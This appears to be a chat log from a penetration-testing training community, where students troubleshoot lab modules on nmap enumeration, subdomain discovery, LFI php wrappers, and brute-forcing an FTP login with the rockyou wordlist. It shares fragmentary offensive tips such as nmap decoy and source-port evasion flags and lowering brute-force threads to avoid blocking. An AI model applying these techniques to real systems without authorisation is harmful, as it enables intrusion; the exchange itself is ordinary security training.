well I didn't do it before

now stuck on Information Gathering - Web Edition though, because I can't crawl either of the domains

they are the most barren things I have ever seen

[rustic sage]

how to solve enumeration with nmap's module's medium lab?

i tried almost everything

--script dns-nsid

-sUV

-sSU

--packet--trace

-D RND:4

--source-port 53

2-4 years old posts of the internet show the answer after writing simple stuff like sudo nmap -A ip, and when i try the same i dont get the answer, i also tried ip spoofing but nmap throwed an error that i couldnt route to target(i checked subnets and i dont thinks its the problem)

[candid lily]

"Due to browsers' default behavior of the SameSite cookie attribute, exploitation of CSWH vulnerabilities becomes increasingly more challenging."

why

to open websocket, get requests were used, and samesite lax doesnt prevent cookies from being sent on get requests right?

nvm it does prevent

[next bronze]

try with pwnbox

[dusky gyro]

use the 110000 list

[ember fern]

I got that

they are the most barren things I have ever seen

unless there is a 3rd

[dusky gyro]

you on the assessment part?

[ember fern]

yes

[dusky gyro]

there is no third

should be two subdomains

[ember fern]

yup got those

and the second has the epic file that gets me the admin portal

[fathom pendant]

Don't do -sSU just -sU should be fine

[ember fern]

but the admin portal has nothing I can see (unless I need to run a directory brute, which I did already) and the other 3 links are useless

[dusky gyro]

what Q are you on for the assessment, I don't recall a admin portal honestly

[ember fern]

dwdw I got help in #cwes , thanks!

[rustic sage]

i tried with my own parrotOS

do i still try with pwnbox?

[stark lark]

I don't know why I get errors... I have tried to decrease threading and reset the machine..

[fathom pendant]

Connection errors, that seems to be your end

[midnight granite]

I was stuck bruteforcing OTP in api attacks broken authentication. Can anyone help me?

[fathom pendant]

Try reconnecting to the vpn or changing vpn regions

[soft reef]

Sure, I finished the module yesterday.

[fathom pendant]

?

[next bronze]

try with pwnbox, for this specific question it works better

[fathom pendant]

^

[zenith vale]

can someone help me out in the LFI php wrappers?

[fathom pendant]

Just ask your question

[zenith vale]

well im tryna do as explained regarding the expect wrapper and it doesnt seem to work

not via curl or also via the page source

checked its availability, and as explained the expect:// should work and recieve commands as they are, i tried basic url encoding aswell for the commands chaining but i dont see it anywhere

[fathom pendant]

Use rockyou as well

[stark lark]

But my issues are "connection errors"

Here it is with rockyou

[fathom pendant]

Too many threads

I just dropped all the way down to 1 and it works

[stark lark]

Let me try

[fathom pendant]

@stark lark

no error

[wraith pelican]

Brother, you got the same error for hours now, i sent you a link explaining you were likely getting blocked by ftp

[stark lark]

Yes you are 100% Correct. I tried with -t 5 but now I will give -t 1 a shot

[fathom pendant]

short answer was keep going lower

[stark lark]

Did you use rockyou or the provided list here?

[wraith pelican]

rockyou

[fathom pendant]

i used rockyou (it's pretty high up)

[stark lark]

I'm furios :P

[fathom pendant]

are you running both your vm/vpn and pwnbox?

because it literally works fine on my machine

[stark lark]

I switched from vm to pwnbox

[fathom pendant]

yes but is the vpn still running on your vm

is my question

[stark lark]

Yup

[fathom pendant]

then that's also why you're getting errors

you can't have both the vpn and the pwnbox running

[stark lark]

Even though I'm not requesting anything to the target server?

[fathom pendant]

yes

the vpn assigns the same internal IP

if you check ip a for both; it gives the same internal 10.10.x.x IP, which causes collisions as it doesn't know where to route

[stark lark]

Got it now...... Didn't know about the vpn stuff.

[zenith vale]

i guess i need to validate my accound to send printscreens

[fathom pendant]

yes

[stark lark]

Thanks for the help!

[wraith pelican]

when you will see the password you will be pretty disappointed : D

[fathom pendant]

imo would have been faster at this point to manually bruteforce it

[stark lark]

YES

[wraith pelican]

haha sure

[stark lark]

Kinda afraid to fall into such a pit during the exam

[fathom pendant]

do it just like the forefathers did

[midnight granite]

could you please help?

[fathom pendant]

well take notes on what tripped you up

[wraith pelican]

on stone keyboards

[fathom pendant]

if you note down what caused you frustration -- you're less likely to repeat the mistake

[stark lark]

I will

[fathom pendant]

or even the memory of the frustration will lead you to "what did I do last time?"

[wraith pelican]

i think you should try to get it with ftp as it works for marcie, but like i said earlier, i didn't get it via ftp...

[stark lark]

Now on my VM when I try to reconnect VPN it won't let me.. (after terminating attackbox) Do I need to do anything or just wait a little?

[fathom pendant]

"it won't let you" error?